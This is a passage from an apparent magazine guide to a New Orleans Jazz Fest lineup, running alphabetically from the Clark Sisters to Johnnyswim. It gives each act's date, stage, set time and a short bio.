year’s Cuban-flavored Jazz Fest. The Clark Sisters, 4/30, GOS, 3:55p: This gospel vocal group consists of five sisters: Jacky Clark Chisholm, Denise Clark Bradford, Elbernita “Twinkie” Clark-Terrell, Dorinda Clark-Cole, and Karen Clark Sheard. They are the daughters of legendary gospel musician and choral director Dr. Mattie Moss Clark. Their biggest hit “You Brought the Sunshine” was awarded a gold record. They have won three Grammy awards. Clive Wilson’s New Orleans Serenaders with Butch Thompson, 5/4, ECO, 1:40p: Known for their lively interpretations of old New Orleans classics by Armstrong, Kid Ory, and others, the members of the Serenaders have played together in various musical contexts since the ’60s. Comanche Hunters Mardi Gras Indians, 4/29, J&H, 11:20a: Big Chief Keith Keke Gibson leads this Ninth Ward gang, performing traditionals like “Indian Red” and Monk Boudreaux’s “Lighting and Thunder.” Conga Los Hoyos of Cuba, 4/30, CUB, 11:30p; 5/4; CUB, 11:30a, 5/5, CUB, 11:30a: From the Los Hoyos district of Santiago, Conga Los Hoyos dates back to 1902. The group is fully ingrained in the culture of Santiago de Cuba, each year closing the traditional carnival parades and participating in the annual Festival del Caribe. The hallmark of conga, the corneta china—or Chinese Cornet—leads a riotous mix of percussions including a pilón (bass drum), bocúes (small conga drums), quinto and requinto drums, redoblantes (snare drums) and llantas (car brake drums struck with a metal rod). This is their first time in the U.S. Connie & Dwight Fitch with St. Raymond & St. Leo the Great Choir, 4/29, GOS, 12:05p: Seventh Ward couple, Connie and Dwight Fitch, have done romantic R&B as well as gospel; she has sung in the past with Ray Charles and Dr. John. CoolNasty ft. Assata Jones and Ray Wimley, 5/5, CON, 11:25a: The young neo-soul jazz band, who hosts the weekly jam sessions, at the Jazz Market back up Chicago R&B singer Jones and New Orleans MC Ray Wimley. COOT, 5/4, LAG, 11:30a: This local five-piece has been putting out original rock music for over two decades. Corey Henry & Treme Funktet, 4/29, CON, 12:30p: Galactic trombonist Henry’s highly energetic funk band has quickly become one of the must-see groups around town in the last few years. Corey Ledet & His Zydeco Band, 5/7, FDD, 12:15p: Ledet was already two years into his music career when he switched from drums to accordion at age 12. He released his latest work, Standing on Faith, last March. Corinne Bailey Rae, 5/4, CON, 3:35p: English singer Corinne Bailey Rae has won two Grammy Awards with her beautiful voice and contemporary approach to soul and R&B. You may recognize her hits “Put Your Records On” and “Like A Star.” Cowboy Mouth, 5/7, ACU, 12:30p: Singer/drummer Fred LeBlanc and guitarist John Thomas Griffith have led this anthemic rock band through a few lineups and any number of full-tilt live shows. Craig Adams & Higher Dimensions of Praise, 4/30, GOS, 6:05p: Hammond player and Houston/New Orleans native Adams leads this dynamic, 16-piece gospel group. Creole Osceola Mardi Gras Indians, 4/29, PAR, 3:15p: Mardi Gras Indian parade. Creole String Beans, 5/7, FDD, 1:25p: Fronted by photographer Rick Olivier and featuring former Iguanas and Cowboy Mouth members, the Creole String Beans began as a “Y’at cover band” doing vintage local gems, and moved on to write similarly-styled originals. Crescent City Lights Youth Theater, 4/29, KID, 4:10p: With performers aged 9 to 16, this group plays each summer at Gallier Hall in downtown New Orleans. In 2012, they won Most Outstanding Achievement in Acting at the Junior Theater Festival in Atlanta. Culu Children’s Traditional African Dance Company with Stilt Walkers, 5/7, KID, 5:15p: Founded in 1988, this New Orleans-based company has toured the US and performed for Winnie Mandela. Curtis Pierre & the Samba Kids, 4/30, KID, 5:20p: The self-professed “samba king of New Orleans” leads the Afro-Brazilian troupe he founded in 1987 on a series of parades and performances. Cynthia Sayer & Her Joyride Quartet, 5/6, ECO, 4:05p: Banjoist and vocalist Cynthia Sayer is joined by Dennis Lichtman on clarinet and violin, Mike Weatherly on bass and vocals and Larry Eagle on drums. Sayer first rose to international prominence as a founding member of Woody Allen’s New Orleans Jazz Band. She is considered one of the top 4-string jazz banjoists in the world today. Cyril Neville & SwampFunk, 4/29, BLU, 2:40p: In addition to stints playing with the Meters and the Neville Brothers, reggae-loving percussionist and singer Cyril has helmed funk outfit the Uptown Allstars and conducted a successful solo career. D Da Knockas Brass Band, 4/30, PAR, 2:30p: Formed in 2014, this eight-piece act plays contemporary brass band music, traditional New Orleans jazz and go-go funk. Da Truth Brass Band, 5/6, PAR, 1:30p: Da Truth’s high-energy, tight renditions of New Orleans second line classics and originals have made them one of the best new brass bands in the streets on Sundays. Dale Watson and His Lone Stars, 5/4, FDD, 4:25p: Alabama-born Austin denizen Dale Watson carries a punk-rock energy into his take on Texas country swing, playing guitar behind original numbers formed by his maverick streak and grooving to his melodic long-time backing band, the Lone Stars. Darius Rucker, 5/4, GEN, 5:30p: Best known as the frontman for Hootie & The Blowfish, Charleston native Darius Rucker has spent the last decade developing a very successful career as a country music artist. Dave Matthews and Tim Reynolds, 5/5, ACU, 5:25p: Dave Matthews and Tim Reynolds have been collaborating for over 25 years, though Reynolds has only been an official member of the massively popular Dave Matthews Band since 2008. As an acoustic duo, the pair primarily sticks to the DMB catalog. However, choice covers and Tim Reynolds originals are often part of the equation. Davell Crawford, 5/5, BLU, 2:45p: Grandson of the late New Orleans R&B great James “Sugarboy” Crawford, Davell is an energetic keyboardist and soulful singer whose repertoire draws on R&B, jazz and gospel. David & Roselyn, 5/5, 1:50p: Local duo David Leonard and Roselyn Lionheart’s blues and jazz sounds have been a French Quarter staple for years. They’ve also performed on the Smithsonian Institute’s PBS “River of Song” documentary. David Batiste Sr. and the ReNEW Schools Turnaround Arts Choir, 5/5, KID, 5:15p: Louisiana Music Hall of Famer, David Batiste, Sr. has been working in ReNEW schools since their inception. His students even performed for Michelle Obama when she was First Lady. David L. Harris, 4/28, JAZ, 11:15a: Baton Rouge native, trombonist, vocalist and composer David L. Harris will be joined by an A-team of young up-and-comers on the New Orleans jazz scene—pianist Shea Pierre, bassist Jasen Weaver and drummer Miles Labat. His debut CD Blues I Felt has been very well received. Dawes, 5/7, FDD, 4:15p: Having cut their teeth creating a unique, atmospheric sound through years of heavy touring on the festival circuit, Los Angeles-based folk-rockers Dawes also have remarkable songwriting chops, as shown on their new album, We’re All Gonna Die. Daymé Arocena of Cuba, 5/7, BLU, 11:15a, CUB, 1:50p: Singer composer and choir director, Daymé Arocena, approaches jazz, soul and classical influences with an innate sense of rhythm. Born and raised in Havana, Arocena’s music draws inspiration from the Caribbean island’s different rhythms and styles from Guantanamo’s fast-paced changüí, to guaguancó and ’70s-style ballads. Deacon John, 4/28, BLU, 4:15p: The singer/guitarist’s long history in New Orleans music includes leading the band at debutante balls, performing at the Dew Drop Inn and playing on some of the city’s classic records like Aaron Neville’s “Tell It Like It Is” and Ernie K-Doe’s “Mother-In-Law.” Deak Harp, 5/7, BLU, 1:10p: A protégé of James Cotton, this harmonica player performs a mix of Mississippi and Chicago blues; he also makes custom harmonicas at his store in Clarksdale, Miss. Debbie Davis & the Mesmerizers, 5/6, ECO, 5:35p: Vocalist and ukulelist, Debbie Davis, stands out in the crowd of vocalists like a bird-of-paradise in a roomful of parakeets. Her voice is a magnificent, near-operatic instrument and her theatrical instincts are the stuff of Broadway musical-level performance. The Mesmerizers include her husband, bassist Matt Perrine, pianist Josh Paxton and guitarist Alex McMurray. See a review of Debbie Davis’ latest CD in this issue. Deitrick Haddon, 4/29, GOS, 3:55p: Singer songwriter, music producer, pastor, and actor, Deitrick Haddon is best known for progressive gospel and contemporary styles of music. He is also one of the cast members in Oxygen’s reality television show Preachers of L.A. Delfeayo Marsalis & the Uptown Jazz Orchestra, 4/29, JAZ, 6p: The trombonist, composer and producer recently intrigued with his release Make America Great Again!, his energetic UJO sets balance humor and fun with tight ensemble interplay and memorable solos. The Deslondes, 5/5, LAG, 3:45p: Formerly the Tumbleweeds, this earthy songwriters ensemble describes itself as “country-soul swamp boogie.” The band’s leader is Sam Doores, a former traveler and companion of Hurray for the Riff Raff’s Alynda Lee Segarra. Three players share composing duties; fiddle and pedal steel player John James is also a standout. Di Filippo Marionette, 4/30, KID, 1:50p: Italian marionette maker and actor Remo di Fillipo returns after a successful performance at last spring’s New Orleans International Puppet Festival. Dillard University’s VisionQuest Gospel Chorale, 5/5, GOS, 6:05p: This choir’s homebase is the religious life department at Dillard, a local historically black liberal arts college that dates back to 1869. Dirty Bourbon River Show, 4/29, LAG, 5:30p: This self-described “NOLA big brass circus rock” quintet is heavy on the rhythm—and the humor. They released their ninth studio album, Important Things Humans Should Know, in 2015. The Dirty Dozen Brass Band, 4/29, ACU, 1:55p: This band was formed in 1977 by Benny Jones and introduced bebop and funk into the brass band sound They’ve continued to evolve by adding drum kit and electric guitar, and will celebrate their 40th anniversary this year. Divine Ladies SA&PC, 4/29, PAR, 11:45a: This Uptown social aid and pleasure club’s annual parades generally kick off in serious style at St. Charles and Jackson Avenues. DJ Captain Charles, 5/7, CON, 5p: The self-proclaimed “most renowned DJ in New Orleans,” Captain Charles has been spinning and fortifying his collection for more than 20 years. DJ Raj Smoove, 5/6, CON, 4:55p: The New Orleans hip-hop DJ has worked extensively with Li’l Wayne and the Cash Money crew. He even performed for Stevie Wonder during a National Urban League conference. DJ Shub, 4/28, J&H, 3p: Formerly of A Tribe Called Red (he parted ways in 2014), DJ Shub is an award winning music producer. His album Nation II Nation contains the popular singer “Electric Pow Ow Drum.” The Don “Moose” Jamison Heritage School of Music Band, 5/7, LAG, 11:30a: Students from this Kidd Jordan-directed, New Orleans Jazz & Heritage Foundation-sponsored free music program. Don Vappie & the Creole Jazz Serenaders, 5/7, ECO, 3p: An eclectic banjo player and singer, Vappie has made a career of exploring his Creole heritage through music, whether it’s traditional jazz, island music, or with Otis Taylor, Keb’ Mo’, Alvin Youngblood Hart and Corey Harris as part of the Black Banjo Project. Donald Lewis, 5/5, KID, 4:10p: Local actor and educator Lewis teaches drama and storytelling and performs regularly with the group Young Audiences of Louisiana. Doreen’s Jazz New Orleans, 5/5, ECO, 5:55p: Clarinetist Doreen Ketchens and her band perform traditional New Orleans jazz all over the world, and have played for Presidents Carter, Reagan, Bush Sr. and Clinton. Doyle Cooper Jazz Band, 5/4, ECO, 5:50p: Alexandria, Louisiana native, trumpeter and vocalist Doyle Cooper started in 2006 playing sousaphone with the Red Hot Brass Band. He is a frequent performer at the Bourbon O Bar. Dr. Brice Miller & Mahogany Brass Band, 5/7, J&H, 5:45p: Trumpeter and ethnomusicologist Miller leads this long-running traditional New Orleans jazz ensemble, his go-to band when he’s not delving into other pursuits like avant-garde jazz and electronic music. Dr. John and the Gris-Gris Krewe, 4/30, ACU, 3:15p: New Orleans piano icon Dr. John has received six Grammy Awards and has been inducted into the Rock and Roll Hall of Fame. Dr. John’s zydeco, boogie-woogie rock ’n’ roll has had New Orleans and the rest of the world enamored since the late ’60s. Dr. Michael White & the Original Liberty Jazz Band featuring Thais Clark, 5/6, ECO, 2:45p: Clarinetist and jazz scholar White frequently fuses traditional and modern styles in his Liberty Jazz Band. He recently produced an album’s worth of new recordings tracing the history of modern New Orleans brass band music for Smithsonian Folkways. Clark, his regular Jazz Fest guest, adds a vocal component to the set. Dukes of Dixieland, 5/4, LAG, 12:40p: The Dukes are one of the most storied names in traditional jazz. This incarnation of the venerable jazz band was formed in 1974. For a few years afterward they ran their own club atop the Hotel Monteleone, taking the space over from Louis Prima. Dumaine Street Gang, 4/29, PAR, 11:45a: The Treme-based Dumaine Street Gang Social Aid and Pleasure Club hits the Sixth Ward’s hottest spots during its annual parade. Dwayne Dopsie & the Zydeco Hellraisers, 4/30, FDD, 6p: This second-generation accordion slinger carries on the blues-infused style of his dad Dopsie Sr., often with a whole lot of added speed and volume. E L. S., 5/4, CON, 12:35p: A three-piece singing group with a multi-decade repertoire that includes classics from Aretha Franklin, the Supremes, Sister Sledge, Petti Labelle, Bonnie Raitt, Whitney Houston and more. E’Dana and Divinely Destin, 4/29, GOS, 1p: Gospel singer and stage actress E’Dana has been touring and recording since she was 15. She hits the Fairgrounds with her Louisiana-based group, Divinely Destin. Earth, Wind & Fire, 5/5, CON, 5:25p: Classic R&B group made Jazz Fest history a few years ago when they filled in for Aretha Franklin on less than 24 hours’ notice. Leader Maurice White no longer tours with the group, but Philip Bailey’s trademark tenor is still upfront. Ed Volker’s Quintet Narcosis, 4/30, LAG, 3:50p: The former Radiators keyboardist remains a fine and prolific songwriter. These days he usually performs acoustically with sax and percussion, still doing many of the trademark Rads tunes. Eddie Cotton & the Mississippi Cotton Club, 5/4, BLU, 2:55p: Eddie Cotton is an electric blues guitarist from Clinton, Miss. He grew up singing and playing gospel music at church and playing the music of blues legends, especially B.B. King. Egg Yolk Jubilee, 5/4, LAG, 5:30p: Currently celebrating their 20-year anniversary, Egg Yolk Jubilee last played Jazz Fest in 2008. The hard-to-describe, yet consummately New Orleans band, are “too rock for the jazz crowd and too jazz for the rock crowd” says trumpeter Eric Belletto. See our feature in this issue. Eleanor McMain “Singing Mustangs,” 5/4, GOS, 11:20a: The McMain Secondary School Gospel Choir, a.k.a. the McMain Singing Mustangs, return for their seventh Jazz Fest performance under the guidance of Clyde Lawrence. The Electrifying Crown Seekers, 5/7, GOS, 12:05p: Keep an ear peeled for this Marrero, Louisiana-based group’s rendition of “Walk Around Heaven,” featuring a soloist whose falsetto voice won’t preclude him from topping out on the tune’s highest-register notes. Elle King, 4/30, GEN, 3:50p: Last year, this singer, guitarist and banjo player with a penchant for rocking out released her debut, Love Stuff, which quickly rose to number one on Billboard’s Alternative Songs chart and earned her two Grammy nods. Ellis Marsalis Center for Music Jazz Ensemble, 4/28, KID, 1:50p: Located in the Musicians’ Village, the Ellis Marsalis Center for Music offers opportunities for underserved children, youth, and musicians. The Center provides afterschool and Saturday music lessons for children ages 7-18. The students in the Ensemble practice once a week for 90 minutes and perform a varied repertoire that explores all genres of jazz, from traditional New Orleans music to the music of the Swing Era and the Blues. Ellis Marsalis, 5/7, JAZ, 1:30p: The legendary modern jazz pianist and patriarch of the Marsalis family still holds court Friday nights at Snug Harbor. He recorded The Last Southern Gentlemen last year, his first full-length album with his son, trombonist Delfeayo Marsalis. Eric Lindell, 5/4, BLU, 4:15p: Once a California skate-punk, Lindell had more success as a blue-eyed soul and bluesman after moving to New Orleans. His tight backing band explores the slightly country-influenced edges of Louisiana roots rock on albums such as his last one, Matters of the Heart. Erica Campbell of Mary Mary, 5/4, GOS, 3:45p: Contemporary gospel and R&B recording artist started her music career in 1998 with her younger sister, Tina Campbell, as part of the gospel group, Mary Mary. Her solo music career began in 2013 and has won a Grammy Award for Best Gospel Album. She is the host of Get Up! Mornings with Erica Campbell with comedian Griff, that airs on the Radio One show Urban Gospel. Erica Falls, 5/7, CON, 11:20p: This soulful New Orleans R&B vocalist has sung with Allen Toussaint and Irma Thomas but her chops—and songwriting skills—warrant recognition on their own merit. F Family Ties Social Aid and Pleasure Club, 4/29, PAR, 11:45a: This popular Social Aid and Pleasure Club is based downtown, generally strutting down Basin Street on its annual Sunday parade. Feufollet, 5/5, FDD, 12:10p: This Grammy-nominated crew of young Cajun musicians helmed by Chris Stafford recently expanded their sound by adding violinist, singer songwriter, Kelli Jones-Savoy, who co-wrote much of their 2015 release, Two Universes, and keyboardist Andrew Toups. Fi Yi Yi & the Mandingo Warriors, 5/6, J&H, 11:20a: The Fi Yi Yi tribe of Mardi Gras Indians uses African instead of the traditional American Indian themes. Big Chief Victor Harris marched for 25 years with legendary Indian Tootie Montana. First Baptist Church of Vacherie Mass Choir, 4/29, GOS, 11:15a: Minister of Music Joseph B. Warrick leads this Vacherie, Louisiana, based gospel choir whose homebase is the town’s First Baptist Church, which dates back to 1866. First Emanuel Baptist Church Mass Choir, 5/6, GOS, 6:05p: This choir is based in the Central City Church on Carondelet Street and is one of New Orleans’ most celebrated church singing groups. Flow Tribe, 4/30, ACU, 11:15a: “Backbone cracking music” is the chosen genre of this party-friendly funk/rock band, which has Red Hot Chili Peppers, hip-hop to the Meters on its list of funk influences. Franklin Avenue Music Ministry, 5/7, GOS, 6:05p: One of New Orleans’ largest and most powerful church choirs, and a former winner for Best Gospel Group at OffBeat’s Best of the Beat Awards. Free Agents Brass Band, 5/4, J&H, 1:40p: Bass drummer Ellis Joseph formed this band in September 2005 with other musicians who’d returned to New Orleans after Katrina before their regular bands did; don’t miss their moving hit, “Made It Through the Water,” a modern riff on the spiritual “Wade In the Water.” Free Spirits Brass Band, 5/4, PAR, 12:30p: A local festival favorite, the young and heavy-hitting Free Spirits are known for a bringing a rock edge to the typical brass-band sound that proves a dance-friendly fan favorite. The Furious Five SA&PC, 4/30, PAR 2:30p: This acclaimed division of the Young Men Olympian, Jr. Benevolent Association is largely credited with changing the dance style of the SA&PC community’s annual parades, although its members look to Rebirth for providing the music that inspired them to innovate. G Gal Holiday and the Honky Tonk Revue, 5/4, GEN, 11:20: Big-voiced Maryland native Vanessa Niemann fronts one of the city’s leading Western swing bands, which plays originals, honky-tonk favorites, and less obvious choices like Dylan’s “Don’t Think Twice, It’s Alright.” Galactic, 5/7, ACU, 1:45p: Brass band elements, old-school soul and hard rock figure as prominently as the funk these jam band scene stalwarts are known for. Their high-energy Fest sets often feature a little percussion lagniappe in the form of Mike Dillon. Geno Delafose & French Rockin’ Boogie, 4/28, FDD, 6p: Originally the drummer in his late father John Delafose’s band, Geno took to accordion and became a popular bandleader specializing in country-styled zydeco, when not raising horses and cattle at his Double D Ranch outside Eunice, Louisiana. Gente de Zona, 4/30, GEN, 3:35p: Havana, Cuba’s Gente de Zona was founded by Alexander Delgado in 2000. The group combines reggaeton rhythms with more traditional forms of Cuban music. They have collaborated with Enrique Iglesias on “Bailando”. The track was awarded three Latin Grammy awards. George Benson, 4/30, JAZ, 5:40p: The singer/guitarist practically invented crossover jazz with his smash 1976 album Breezin’. His music remains a mix of jazz and smooth R&B. Benson invited New Orleans’ Wynton Marsalis to play on his 2 album, Inspiration: A Tribute to Nat King Cole. George French & the New Orleans Storyville Jazz Band, 5/7, ECO, 5:40p: As a bassist, French played on some landmark ’60s sessions with Earl King, Red Tyler and Robert Parker. As a vocalist, he brings a silky touch to jazz and blues standards. George Porter, Jr. & Runnin’ Pardners, 5/4, ACU, 1:35p: As a founding Meter and a jamming partner to just about everybody, bassist Porter is one of the cornerstones of New Orleans funk. The band’s 2011 full-length album Can’t Beat the Funk applies fresh spins to lesser-known nuggets from the Meters catalogue. Gerald French & the Original Tuxedo Jazz Band, 4/29, ECO, 5:50p: The late drummer and colorful WWOZ personality Bob French led this band for 34 years, schooling young talents like Shamarr Allen and Kid Chocolate. When he retired from the band French passed the torch to his nephew Gerald, also a drummer. Germaine Bazzle, 5/5, JAZ, 1:35p: This locally prized jazz singer can caress a ballad or scat-sing an up-tempo number with the best. Her history includes a stint playing bass on Bourbon Street with Alvin “Red” Tyler; both OffBeat and the Jazz Journalism Association recently honored her 50-plus-years of work in music education with awards. Glen David Andrews and the Treme Choir, 4/30, GOS, 1:55p: This singer/trombonist, cousin of Troy and James Andrews, is a brass traditionalist and a testifying R&B vocalist who honed his entertaining chops in Jackson Square. His album Redemption was named the number one album of 2014 by OffBeat Magazine. Here, he explores his gospel roots with a full choir. Glen David Andrews Band, 5/6, BLU, 12,15p: Andrews (see above), performs material from his go-to repertoire. Go Getters Social Aid and Pleasure Club, 4/28, PAR, 4p: A parading branch of the Krewe of Zulu. Golden Comanche Mardi Gras Indians, 5/5, PAR, 1p: One of the most in-demand young Indian vocalists, Big Chief Juan Pardo, leads this uptown Indian tribe. Golden Sioux Mardi Gras Indians, 4/28, PAR, 2:45p: Mardi Gras Indian parade. Goldman Thibodeaux & the Lawtell Playboys, 5/6, FDD, 11:15a: This accordion and fiddle-centric band, formed in 1946, plays a form of music called Creole La La, an early American roots style that became one of the components of zydeco. The Gospel Inspirations of Boutte, 4/28, GOS, 11:15a: These Gospel Tent regulars, formed in 1979 by David Diggs Jr. and Kevin Drake, perform music of the spirit. Not related to the local Boutte singing family, the ensemble’s name derives from their hometown of Boutte, Louisiana. The Gospel Soul of Irma Thomas, 5/7, GOS, 3:55p: If you heard 1993’s Walk Around Heaven, you know how stirring Thomas can be as a gospel singer. She has a personal rule against singing gospel during a secular set, but her sacred side feeds into everything the Soul Queen of New Orleans sings. GrayHawk presents Native American Lore, 5/4, KID, 12:40p: This Houma, Louisiana resident shares stories from his Choctaw heritage. Gregg Martinez & the Delta Kings’ Swamp Pop Revue feat. GG Shinn, T.K. Hulin & Tommy McLain, 5/5, FDD, 1:20p:: A trio of celebrated swamp pop stars—Boogie Kings alum Shin and pals—revisit material from their storied pasts. Gregg Stafford & His Young Tuxedo Brass Band, 5/7, ECO, 1:45p: Trumpeter Stafford made his Bourbon Street performing debut in 1970; he has led the Young Tuxedo Brass Band for over three decades. Gregg Stafford’s Jazz Hounds, 4/29, ECO, 1:35p: Stafford’s other traditional New Orleans jazz ensemble, the Jazz Hounds, have been under his direction since the death of Danny Barker in 1984. Gregory Agid Quartet, 5/6, JAZ, 11:15a: Arguably the most impressive young clarinetist in New Orleans today, Gregory Agid elevates his instruments every time he surrounds himself with this top-notch group of New Orleans players. OffBeat named the band’s latest album, Words Are Not Enough, one of the 50 best albums of 2016. Grey Seal Puppets, 4/29, KID, 12:40p: North Carolina-based puppetry group Grey Seal performs prolifically, creating stories that feature members of their wide-ranging character crew. Grupo Caury of Cuba, 4/28, CUB, 11:30a, 2:05p; 4/29, CUB, 11:30a, J&H, 1:45p; 4/30, J&H, 12:25p, CUB, 3:15p: Grupo Caury was founded in 2015 in Santiago de Las Vegas, a small community near Havana, Cuba. Its members are musicians and practitioners of Abakuá, a secret mutual aid fraternal society. Grupo Caury presents the percussive rhythms, songs, visual arts, theater and dances of Abakuá, while incorporating other Afro-Cuban traditions unique to Cuba. Grupo Sensacion, 5/6, LAG, 11:30a: Jaime Perez and Yenima Rojas founded this energetic, pan-Latin ensemble in 2006 after working together in Ritmo Caribeno; both their members and their influences span a variety of Latin American countries. H Hardhead Hunters Mardi Gras Indians, 5/7, J&H, 3:15p: This Mardi Gras Indian tribe hails from the 7th Ward. Harry Connick, Jr., ACU, 5:25p: Talk show host, actor, Mardi Gras krewe founder and, of course, formidable jazz pianist and singer, Harry Connick Jr. needs no introduction. He’s one of New Orleans’ favorite sons and we’re excited to have him back at the Fair Grounds. Helen Gillet, 4/28, LAG, 1:50p: This Belgium-born cellist and singer performs avant-garde jazz and French chansons with gusto. She’s become a cornerstone of the city’s music scene in recent years, lending her skills to multiple improvisational projects. Henry Butler’s Jambalaya Band, 5/6, BLU, 4p: Butler brings a mix of James Booker’s Chopin-esque classical virtuosity, Jelly Roll Morton’s theatricality and Professor Longhair’s sense of humor to bear to his deeply funky and jazz-influenced sense of blues piano. Though he was diagnosed with cancer earlier this year, the staple pianist continues to perform. Henry Gray, 5/4, BLU, 12:25p: Hailing from just outside Baton Rouge, Gray is a key architect of the Chicago blues piano sound. In addition to playing with Howlin’ Wold for a dozen years, he recorded with the Rolling Stones, Buddy Guy, James Cotton, Robert Lockwood, Jr. and many others. Herb Alpert & Lani Hall, 5/4, JAZ, 6p: Herb Alpert, the trumpet-playing leader of the Tijuana Brass and co-founder of the enormously successful A&M Records, makes his Jazz Fest debut. Singer Lani Hall, Alpert’s wife and former member of Brasil ’66 joins him. See Backtalk interview in this issue. Herbert McCarver & the Pin Stripe Brass Band, 5/5, J&H, 3:25p: One of the best young bands playing traditional brass band music in town, the YPS represents a new generation of the Original Pin Stripes, founded by McCarver’s father. High Performance, 4/28, FDD, 12:25p: Although committed to other bands, fiddlers Kevin Dugas and Steve Riley have created a powerful Cajun dance hall vibe. Besides Dugas and Riley, High Performance includes Jamey Bearb, Jason Bergeron, Richard Comeaux and Brazos Huva. High Steppers Brass Band, 5/5, J&H, 11:15a: This young local brass band mixes traditional New Orleans brass sounds with plenty of hip-hop influences. Higher Heights Reggae, 4/30, CON, 11:20a: Performing an array of Studio One classics and other hits, this New Orleans-based reggae act is a staple of Frenchmen Street’s small but growing reggae scene. Hobgoblin Hill Puppets, 5/7, KID, 3p: Humor and satire are priorities in performances by this Louisiana-based puppetry group, which features hand-carved and sculpted puppets. Honey Island Swamp Band, 4/29, BLU, 3:55p: Formed in San Francisco by Katrina exiles who’ve since returned to town, the HISB is a hard-driving rock band with roots in R&B, country and funk. I The Iguanas, 5/4, FDD: 2:55p: With Tex-Mex rock ’n’ roll as their base, the Iguanas can swing freely into jazz, country, garage and Caribbean music. Their rock-heavy 2014 release was Juarez. Irma Thomas, 5/6, ACU, 3:05p: With a career that spans more than 50 years, Thomas earned her royal nickname through innumerable contributions to the development of soul and R&B. While she still plays early hits like “It’s Raining” and “Time is on My Side,” she continues to introduce new material. Irvin Mayfield, 5/4, ACU, 12:25p: Trumpeter Irvin Mayfield is the founding artistic director of the New Orleans Jazz Orchestra. He and NOJO recently opened The Peoples Health New Orleans Jazz Market on Oretha Castle Haley Boulevard. His latest record captured the NOJO’s performance at Newport. See review in this issue. ISL Circus Art Kids, 5/4, KID, 5:15p: Students from the International School of Louisiana in New Orleans make up this young group of acrobats, stilt walkers and clowns. Ivan Neville’s Dumpstaphunk with Art Neville, 5/6, ACU, 1:40p: The well-travelled keyboardist makes some of the deepest funk of his career with this band, which features two bass guitars, giving it a seriously fat bottom. Ivoire Spectacle feat. Seguenon Kone, 5/5, J&H, 5:55p: Percussionist and Ivory Coast native Seguenon Kone made New Orleans his home in 2008. L’Ivoire Spectacle features African rhythms with his virtuoso associates. J Monque’D & Lil’ Creole Wild West, 5/6, BLU, 11:10a: The song and album title “Chitlin Eatin’ Music” best describes the output of this longtime harmonica wailer and Uptown character. Jambalaya Cajun Band with D.L. Menard, 5/7, FDD, 11:10a: This group was founded in 1977 by fiddler Terry Huval. They’re joined by Menard, who’s often called the “Cajun Hank Williams.” James Andrews & the Crescent City Allstars, 4/28, BLU, 2:55p: Nicknamed “Satchmo of the Ghetto,” trumpeter Andrews (the grandson of Jessie Hill and brother of Trombone Shorty) has gone in a funky, expansive direction with his Allstars, although Louis Armstrong remains a key influence. James Rivers Movement, 4/30, JAZ, 1:30p: Perhaps the city’s only jazz/funk saxophonist who doubles as a bagpipe player, Rivers was also known for a longtime (now discontinued) Sunday brunch at the Hilton, and for scoring Clint Eastwood’s The Bridges of Madison County. Jamil Sharif, 4/28, ECO, 12:30p: This local trumpeter studied with Ellis Marsalis at NOCCA and went on to do a number of soundtracks, including the Ray Charles biopic Ray, for which he was music coordinator. Jamison Ross, 5/7, JAZ, 2:40p: Florida native Jamison Ross has become one of New Orleans premier jazz drummers since earning his Masters of Music at UNO. His debut album, Jamison, was nominated for a Grammy in 2016. Jason Marsalis, 5/5, JAZ, 2:45p: This young Marsalis brother began as a vibraphonist but spends more time behind the drums these days. In both situations, he expertly matches agile displays of technique with a deep sense of groove. Javier Gutierrez & Vivaz!, 4/29, J&H, 12:20p: Afro-Caribbean rhythms meet Latin jazz and Flamenco in this spirited, New Orleans-based quintet. Javier’s Dance Company, 4/30, KID, 12:45p: Dancers from Javier’s Dance Studio in Slidell perform under the tutelage of Javier Juarez, Melissa Juarez and Muriel Santana. The Jazz Epistles featuring Abdullah Ibrahim & Ekaya and Hugh Masekela, 4/29, JAZ, 4:15: South African pianist Abdullah Ibrahim and his Ekaya Chamber Ensemble, are joined by master trumpeter Hugh Masekela to share the story of The Jazz Epistles. This album produced only 500 copies in 1959 and remained hidden during the terrors of Apartheid. Jeffery Broussard and the Creole Cowboys, 5/5, FDD, 2:50p: Once a member of the funky Zydeco Force, singer/accordionist Broussard turns to old-school Creole and zydeco with this group. Jeremy Davenport, 5/6, JAZ, 12:20p: Schooled as the featured trumpeter in Harry Connick, Jr.’s band, this St. Louis native has carved out a solo career with a tender tone to both his playing and singing on romantic standards and originals. Jermaine Landrum & the Abundant Praise Revival Choir, 5/6, GOS, 2:50p: Landrum, the director of this New Orleans-based choir, has been leading gospel groups since the age of 9. Jesse McBride Big Band, 5/4, JAZ, 1:45p: Pianist Jesse McBride has led The Next Generation for more than ten years, taking over for his mentor Harold Battiste who passed away in 2015. McBride remains focused on contemporary jazz performing compositions by Harold Battiste, James Black, Clyde Kerr Jr., Ellis Marsalis, Alvin “Red” Tyler and others. Joe Krown Trio feat. Walter “Wolfman” Washington and Russell Batiste, Jr., 4/28, BLU, 1:40p: Three instrumental powerhouses join forces in this organ/guitar/drums trio that has become a full-time band, cutting three CDs, and writing some fine originals including their anthem “You Can Stay But That Noise Gotta Go.” Joe Louis Walker, 4/30, BLU, 3:55p: Electric blues guitarist and singer Walker blends elements of the psychedelic music scene from his hometown of San Francisco and a bit of gospel into his prolific body of work. His 2014 release, Hellfire, features an eclectic range of tracks including a pair of Springsteen and Stones covers. The Joey Alexander Trio, 4/28, JAZ, 4:25p: This Indonesian 13 year-old became an Internet sensation by interpreting complex jazz compositions from Coltrane, Monk and Corea. The young prodigy was then taken in by masters of the music like Herbie Hancock or Wynton Marsalis and has been touring around the world. John Boutté, 4/30, JAZ, 4p: A local favorite with a high and haunting voice, Boutte is an inspired, passionate interpreter of songs. His acclaim spread widely after his tune “Treme Song” became the theme of the HBO series Treme. John Mahoney Big Band, 4/28, JAZ, 12:25p: Trombonist, pianist and Loyola music professor Mahoney leads this large modern jazz ensemble, featuring a slew of the city’s top horn players. John Mooney & Bluesiana, 5/6, BLU, 1:20p: Once a protégé of the late blues great Son House, this blazing blues guitarist has been a local fixture since the mid-’70s, when he arrived from the Mississippi Delta and began sitting in with Professor Longhair and Earl King. Johnette Downing and Scott Billington, 4/29, KID, 3p: This local duo, comprised of children’s author and guitarist Downing and Grammy-winning producer Billington, present a medley of Louisiana roots music dubbed “Swamp Romp.” Johnny Sansone, 4/28, BLU, 11:20a: A multi-instrumentalist who draws from swamp-rock, blues and zydeco, Sansone has two aces in the hole: his songwriting and his gut-shaking harmonica solos. Johnnyswim, 4/29, FDD, 4:35p: After emerging as a rising star duo with huge potential, Los Angeles-via-Nashville singer songwriters Abner Ramirez and Amanda Sudano Ramirez signed with 